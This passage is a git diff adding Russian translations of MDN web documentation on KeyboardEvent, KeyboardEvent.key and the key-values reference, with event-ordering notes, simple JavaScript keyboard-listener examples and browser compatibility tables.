+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Особенности событий <code>keydown</code>, <code>keypress</code> и <code>keyup</code>. Для большинства клавиш Gecko обрабатывает последовательность событий так:</p>
+
+<ol>
+ <li>Когда клавиша сначала нажата, то отправляется событие <code>keydown</code>.</li>
+ <li>Если клавиша не является <a href="#getModifierState">модификатором</a>, то отправляется событие <code>keypress</code>.</li>
+ <li>Когда пользователь отпускает клавишу, то отправляется событие <code>keyup</code>.</li>
+</ol>
+
+<h3 id="Особые_случаи">Особые случаи</h3>
+
+<p>Некоторые клавиши переключают подсветку индикаторов, такие как <kbd>Caps Lock</kbd>, <kbd>Num Lock</kbd> и <kbd>Scroll Lock</kbd>. На Windows и Linux эти клавиши создают только лишь события <code>keydown</code> и <code>keyup</code>.</p>
+
+<div class="note">
+<p>В Linux Firefox 12 и более ранних также обрабатывается событие <code>keypress</code>.</p>
+</div>
+
+<p>Но в связи с ограничениями Mac OS X модель событий клавиши <kbd>Caps Lock</kbd> включает в себя только <code>keydown</code>. События <kbd>Num Lock</kbd> поддерживались на старых ноутбуках (2007 года и старше), но затем Mac OS X их перестала поддерживать, даже на внешних клавиатурах. На совсем старых MacBooks клавиша <kbd>Num Lock</kbd> вообще не генерирует никаких событий. Движок Gecko не поддерживает клавишу <kbd>Scroll Lock</kbd>, если это внешняя клавиатура с клавишей <kbd>F14</kbd>. В некоторых старых версиях Firefox эта клавиша генерирует событие <code>keypress</code>; это являлось нестабильным поведением и описано в {{bug(602812)}}.</p>
+
+<h3 id="Обработка_автоповтора_нажатой_клавиши">Обработка автоповтора нажатой клавиши</h3>
+
+<p>Когда клавиша нажата и удерживается, то начинается автоповтор. Результатом этого будет последовательность событий аналогичная следующей:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li>&lt;&lt;повтор до тех пор, пока пользователь не отпустит клавишу&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>Это то, что должно произойти в соответствии со спецификацией DOM Level 3. Однако, есть несколько предостережений относительно этого, описанных ниже.</p>
+
+<h4 id="Автоповтор_на_некоторых_GTK-средах_таких_как_Ubuntu_9.4">Автоповтор на некоторых GTK-средах, таких как Ubuntu 9.4</h4>
+
+<p>В некоторых GTK-средах автоповтор обрабатывается автоматически нативными функциями как событие key-up, и у Gecko нет способа отличить серию одиночных нажатий от автоповтора. На таких платформах автоповтор генерирует следующую последовательность событий:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li>&lt;&lt;повтор, пока пользователь не отпустит клавишу&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>В этих средах, к сожалению, нет возмодности сказать вэб-контенту, произошел автоповтор или клавиша быал нажата несколько раз.</p>
+
+<h4 id="Обработка_автоповтора_на_системах_до_Gecko_5.0">Обработка автоповтора на системах до Gecko 5.0</h4>
+
+<p>До Gecko 5.0 {{geckoRelease('5.0')}} обработка событий клавиатуры была различна на разных платформах.</p>
+
+<dl>
+ <dt>Windows</dt>
+ <dd>Поведение автоповтора такое же как в Gecko 4.0 и более поздних.</dd>
+ <dt>Mac</dt>
+ <dd>После первого события <code>keydown </code>только отправляются события <code>keypress </code>до тех пор, пока не произойдёт событие <code>keyup</code>; внутриинтервальные события <code>keydown </code>не отправляются.</dd>
+ <dt>Linux</dt>
+ <dd>Поведение событий зависит от конкретной платформы. Они могут иметь как Windows-тип и Mac-тип, так и свои собственные модели поведения.</dd>
+</dl>
+
+<p class="note"><strong>Замечание: </strong>при вызове события вручную <em>не </em>происходит никакого действия по умолчанию, связанного с данным событием. Например, если вызвать вручную событие нажатия клавиши, то никакая буква на поле вводимого текста не появится. В случае событий пользовательского интерфейса, что важно по соображениям безопасности, это предотвращает работу скриптов в браузере, которые эмулируют работу пользователя.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+'use strict';
+
+document.addEventListener('keydown', (event) =&gt; {
+  const keyName = event.key;
+
+  if (keyName === 'Control') {
+    // not alert when only Control key is pressed.
+    return;
+  }
+
+  if (event.ctrlKey) {
+    // Хотя event.key это не 'Control' (например, нажата клавиша 'a'),
+    // то всё же event.ctrlKey может быть true, если ударживается клавиша Ctrl.
+    alert(`Combination of ctrlKey + ${keyName}`);
+  } else {
+    alert(`Key pressed ${keyName}`);
+  }
+}, false);
+
+document.addEventListener('keyup', (event) =&gt; {
+  const keyName = event.key;
+
+  // Как только пользователь отпустит клавишу Ctrl, то она больше не будет активной.
+  // Поэтому event.ctrlKey = false.
+  if (keyName === 'Control') {
+    alert('Control key was released');
+  }
+}, false);
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-keyboardevent', 'KeyboardEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Спецификация интерфейса <code>KeyboardEvent</code> прошла многочисленные черновые варианты, сперва в DOM Events Level 2, где её поддержка не добилась консенсуса, затем в DOM Events Level 3. Это привело к реализации нестандартных методов инициализации Gecko-браузерами в ранних версиях DOM Events Level 2 {{domxref("KeyboardEvent.initKeyEvent()")}} и в ранних версиях DOM Events Level 3 {{domxref("KeyboardEvent.initKeyboardEvent()")}} остальными браузерами. Но оба были заменены новой формой использования конструктора:{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatIE("9.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Аргументы функции <code>initKeyboardEvent()</code> в WebKit и в Blink отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyIdentifierArg, in number locationArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in boolean altGraphKeyArg)</code></p>
+
+<p>[2] Gecko-движок не будет поддерживать <code>initKeyboardEvent()</code>, потому что её поддержка полностью ломает определение фич вэб-приложений. Смотрите {{Bug(999645)}}.</p>
+
+<p>[3] Аргументы <code>initKeyboardEvent()</code> в IE отличаются от определения в документе "DOM Level 3 Events". Эта функция выглядит так: <code>initKeyboardEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in views::AbstractView viewArg, in DOMString keyArg, in number locationArg, in DOMString modifierListArg, in boolean repeatArt, in DOMString locationArg)</code>. Смотрите <a href="http://msdn.microsoft.com/en-us/library/ie/ff975297%28v=vs.85%29.aspx">документ о <code>initKeyboardEvent()</code> на сайте MSDN</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent.code")}}.</li>
+ <li>{{domxref("KeyboardEvent.key")}}.</li>
+ <li>{{domxref("KeyboardEvent.getModifierState")}}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/key/index.html b/files/ru/web/api/keyboardevent/key/index.html
new file mode 100644
index 0000000000..932daf471a
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/key/index.html
@@ -0,0 +1,229 @@
+---
+title: KeyboardEvent.key
+slug: Web/API/KeyboardEvent/key
+tags:
+  - API
+  - DOM
+  - KeyboardEvent
+  - Property
+  - Read-only
+translation_of: Web/API/KeyboardEvent/key
+---
+<p>{{APIRef("События DOM")}}</p>
+
+<p><span class="seoSummary">Ключ события {{domxref("KeyboardEvent")}} <code><strong>key</strong></code> доступен только для чтения, возвращает значение клавиши, нажатой пользователем, принимая во внимание состояние клавиш-модификаторов, таких как </span><span class="seoSummary"><kbd>Shift</kbd> , а также локаль и раскладку клавиатуры.</span> Его значение определяется следующим образом:</p>
+
+<div class="moreinfo pull-aside">
+<h4 id="Key_values">Key values</h4>
+
+<p>See a full list of <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">key values</a>.</p>
+</div>
+
+<ul>
+ <li>If the pressed key has a printed representation, the returned value is a non-empty Unicode character string containing the printable representation of the key.</li>
+ <li>If the pressed key is a control or special character, the returned value is one of the <a href="/docs/Web/API/KeyboardEvent/key/Key_Values">pre-defined key values</a>.</li>
+ <li>If the <code>KeyboardEvent</code> represents the press of a dead key, the key value must be "<code>Dead</code>".</li>
+ <li>Some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on Windows; instead, they trigger <code>WM_APPCOMMAND</code> events. These events get mapped to DOM keyboard events, and are listed among the "Virtual key codes" for Windows, even though they aren't actually key codes.</li>
+ <li>If the key cannot be identified, the returned value is <code>"Unidentified"</code>.</li>
+</ul>
+
+<h2 id="KeyboardEvent_sequence">KeyboardEvent sequence</h2>
+
+<p>Every <code>KeyboardEvent</code> is fired in a pre-determined sequence. For a given key press, the sequence of <code>KeyboardEvent</code>s fired is as follows assuming that {{domxref("Event.preventDefault")}} is not called:</p>
+
+<ol>
+ <li>A {{event("keydown")}} event is first fired. If the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the {{domxref("KeyboardEvent.repeat")}} read only property  is set to <code>true</code>.</li>
+ <li>If the key produces a character key that would result in a character being inserted into possibly an {{HTMLElement("input")}}, {{HTMLElement("textarea")}} or an element with {{domxref("HTMLElement.contentEditable")}} set to true, the {{event("beforeinput")}} and {{event("input")}} event types are fired in that order. Note that some other implementations may fire {{event("keypress")}} event if supported. The events will be fired repeatedly while the key is held down.</li>
+ <li>A {{event("keyup")}} event is fired once the key is released. This completes the process.</li>
+</ol>
+
+<p>In sequence 1 &amp; 3, the <code>KeyboardEvent.key</code> attribute is defined and is set appropriately to a value according to the rules defined ealier.</p>
+
+<h2 id="KeyboardEvent_sequence_example">KeyboardEvent sequence example</h2>
+
+<p>Consider the event sequence generated when we interact with the <kbd>Shift</kbd> and the <kbd>2</kbd> key using a U.S keyboard layout as compared to when we do so using a UK keyboard layout.</p>
+
+<p>Try experimenting using the following two test cases:</p>
+
+<ol>
+ <li>Press and hold the <kbd>Shift</kbd> key, then press <kbd>2</kbd> and release it. Next, release the <kbd>Shift</kbd> key.</li>
+ <li>Press and hold the <kbd>Shift</kbd> key, then press and hold <kbd>2</kbd>. Release the <kbd>Shift</kbd> key. Finally, release <kbd>2</kbd>.</li>
+</ol>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="fx"&gt;
+  &lt;div&gt;
+    &lt;textarea rows="5" name="test-target" id="test-target"&gt;&lt;/textarea&gt;
+    &lt;button type="button" name="btn-clear-console" id="btn-clear-console"&gt;clear console&lt;/button&gt;
+  &lt;/div&gt;
+  &lt;div class="flex"&gt;
+    &lt;pre id="console-log"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fx {
+  -webkit-display: flex;
+  display: flex;
+  margin-left: -20px;
+  margin-right: -20px;
+}
+
+.fx &gt; div {
+  padding-left: 20px;
+  padding-right: 20px;
+}
+
+.fx &gt; div:first-child {
+   width: 30%;
+}
+
+.flex {
+  -webkit-flex: 1;
+  flex: 1;
+}
+
+#test-target {
+  display: block;
+  width: 100%;
+  margin-bottom: 10px;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let textarea = document.getElementById('test-target'),
+consoleLog = document.getElementById('console-log'),
+btnClearConsole = document.getElementById('btn-clear-console');
+
+function logMessage(message) {
+  document.getElementById("console-log").innerHTML += message + "&lt;br&gt;";
+}
+
+textarea.addEventListener('keydown', (e) =&gt; {
+  if (!e.repeat)
+    logMessage(`Key "${e.key}" pressed  [event: keydown]`);
+  else
+    logMessage(`Key "${e.key}" repeating  [event: keydown]`);
+});
+
+textarea.addEventListener('beforeinput', (e) =&gt; {
+  logMessage(`Key "${e.data}" about to be input  [event: beforeinput]`);
+});
+
+textarea.addEventListener('input', (e) =&gt; {
+  logMessage(`Key "${e.data}" input  [event: input]`);
+});
+
+textarea.addEventListener('keyup', (e) =&gt; {
+  logMessage(`Key "${e.key}" released  [event: keyup]`);
+});
+
+btnClearConsole.addEventListener('click', (e) =&gt; {
+  let child = consoleLog.firstChild;
+  while (child) {
+   consoleLog.removeChild(child);
+   child = consoleLog.firstChild;
+  }
+});</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('KeyboardEvent_sequence_example')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> On browsers that don't fully implement the {{domxref("InputEvent")}} interface which is used for the {{event("beforeinput")}} and {{event("input")}} events, you may get incorrect output on those lines of the log output.</p>
+</div>
+
+<h3 id="Case_1">Case 1</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to the string <code>"Shift"</code>. As we keep holding this key, the {{event("keydown")}} event does not continue to fire repeatedly because it does not produce a character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced.</p>
+
+<p>As we release the <code>key 2</code>, a {{event("keyup")}} event is fired and the <code>key</code> property will maintain the string values <code>"@"</code> and <code>"""</code> for the different keyboard layouts respectively.</p>
+
+<p>As we finally release the <code>shift</code> key, another {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>.</p>
+
+<h3 id="Case_2">Case 2</h3>
+
+<p>When the shift key is pressed, a {{event("keydown")}} event is first fired, and the <code>key</code> property value is set to be the string <code>"Shift"</code>. As we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key.</p>
+
+<p>When <code>key 2</code> is pressed, another {{event("keydown")}} event is fired for this new key press, and the <code>key</code> property value for the event is set to be the string <code>"@"</code> for the U.S keyboard type and <code>"""</code> for the UK keyboard type, because of the active modifier <code>shift</code> key. The {{event("beforeinput")}} and {{event("input")}} events are fired next because a character key has been produced. As we keep holding the key, the {{event("keydown")}} event continues to fire repeatedly and the {{domxref("KeyboardEvent.repeat")}}  property is set to <code>true</code>. The {{event("beforeinput")}} and {{event("input")}} events are fired repeatedly as well.</p>
+
+<p>As we release the <code>shift</code> key, a {{event("keyup")}} event is fired for it, and the key attribute value remains <code>"Shift"</code>. At this point, notice that the <code>key</code> property value for the repeating keydown event of the <code>key 2</code> key press is now "2" because the modifier <code>shift</code> key is no longer active. The same goes for the {{domxref("InputEvent.data")}} property of the {{event("beforeinput")}} and {{event("input")}} events.</p>
+
+<p>As we finally release the <code>key 2</code>, a {{event("keyup")}} event is fired but the <code>key</code> property will be set to the string value <code>"2"</code> for both keyboard layouts because the modifier <code>shift</code> key is no longer active.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example uses {{domxref("EventTarget.addEventListener()")}} to listen for {{event("keydown")}} events. When they occur,  the key's value is checked to see if it's one of the keys the code is interested in, and if it is, it gets processed in some way (possibly by steering a spacecraft, perhaps by changing the selected cell in a spreadsheet).</p>
+
+<pre class="brush: js">window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // Do nothing if the event was already processed
+  }
+
+  switch (event.key) {
+    case "Down": // IE/Edge specific value
+    case "ArrowDown":
+      // Do something for "down arrow" key press.
+      break;
+    case "Up": // IE/Edge specific value
+    case "ArrowUp":
+      // Do something for "up arrow" key press.
+      break;
+    case "Left": // IE/Edge specific value
+    case "ArrowLeft":
+      // Do something for "left arrow" key press.
+      break;
+    case "Right": // IE/Edge specific value
+    case "ArrowRight":
+      // Do something for "right arrow" key press.
+      break;
+    case "Enter":
+      // Do something for "enter" or "return" key press.
+      break;
+    case "Esc": // IE/Edge specific value
+    case "Escape":
+      // Do something for "esc" key press.
+      break;
+    default:
+      return; // Quit when this doesn't handle the key event.
+  }
+
+  // Cancel the default action to avoid it being handled twice
+  event.preventDefault();
+}, true);
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition, included key values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#dom-keyboardevent-key', 'KeyboardEvent.key')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.key")}}</p>
diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html
new file mode 100644
index 0000000000..39e2b6c133
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/key/key_values/index.html
@@ -0,0 +1,3665 @@
+---
+title: Значения клавиш
+slug: Web/API/KeyboardEvent/key/Key_Values
+translation_of: Web/API/KeyboardEvent/key/Key_Values
+---
+<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этота клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространенных платформ включены там, где они доступны.</p>
+
+<div class="pull-aside">
+<div class="moreinfo">Узнайте, как использовать эти пары "ключ-значение" в JavaScript с помощью <a href="/docs/Web/API/KeyboardEvent/key">KeyboardEvent.key</a></div>
+</div>
+
+<p><a href="#Special_values">Special Values </a>| <a href="#Modifier_keys">Modifier Keys</a> | <a href="#Whitespace_keys">Whitespace Keys</a> | <a href="#Navigation_keys">Navigation Keys</a> | <a href="#Editing_keys">Editing Keys</a> | <a href="#UI_keys">UI Keys</a> | <a href="#Device_keys">Device Keys</a> | <a href="#IME_and_composition_keys">IME and Composition Keys</a> | <a href="#Function_keys">Function Keys</a> | <a href="#Phone_keys">Phone Keys</a> | <a href="#Multimedia_keys">Multimedia Keys</a> | <a href="#Audio_control_keys">Audio Control Keys</a> | <a href="#TV_control_keys">TV Control Keys</a> | <a href="#Media_controller_keys">Media Controller Keys</a> | <a href="#Speech_recognition_keys">Speech Recognition Keys</a> | <a href="#Document_keys">Document Keys</a> | <a href="#Application_selector_keys">Application Selector Keys</a> | <a href="#Browser_control_keys">Browser Control Keys</a> | <a href="#Numeric_keypad_keys">Numeric Keypad Keys</a></p>
+
+<h2 id="Специальные_значения">Специальные значения</h2>
+
+<p>Значения клавиш имеющих особое значение, кроме идентификации определенной клавиши или символа.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Unidentified"</code></td>
+   <td>
+    <p>Пользовательский агент не смог сопоставить виртуальный клавиатурный код события с определенным значением клавиши.</p>
+
+    <p>Это может произойти из-за аппаратных или программных ограничений или из-за ограничений платформы, на которой работает пользовательский агент.</p>
+   </td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+   <td><em>разное</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Клавиши-модификаторы">Клавиши-модификаторы</h2>
+
+<p>Специальные клавиши-модификаторы, которые используются для генерации специальных символов или вызывают особые действия при использовании в сочетании с другими клавишами. Например:  <kbd>Shift</kbd> и <kbd>Control</kbd> , или lock-клавиши, такие как <kbd>Caps Lock</kbd> и <kbd>NumLock</kbd>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Alt"</code> [5]</td>
+   <td><kbd><font face="Arial, x-locale-body, sans-serif"><span style="background-color: rgba(212, 221, 228, 0.25); font-size: 16px; font-weight: 400; white-space: normal;">Клавиша </span></font>Alt</kbd> (Alternative) .</td>
+   <td><code>VK_MENU</code> (0x12)<br>
+    <code>VK_LMENU</code> (0xA4)<br>
+    <code>VK_RMENU</code> (0xA5)</td>
+   <td><code>kVK_Option</code> (0x3A)<br>
+    <code>kVK_RightOption</code> (0x3D)</td>
+   <td><code>GDK_KEY_Alt_L</code> (0xFFE9)<br>
+    <code>GDK_KEY_Alt_R</code> (0xFFEA)<br>
+    <code>Qt::Key_Alt</code> (0x01000023)</td>
+   <td><code>KEYCODE_ALT_LEFT</code> (57)<br>
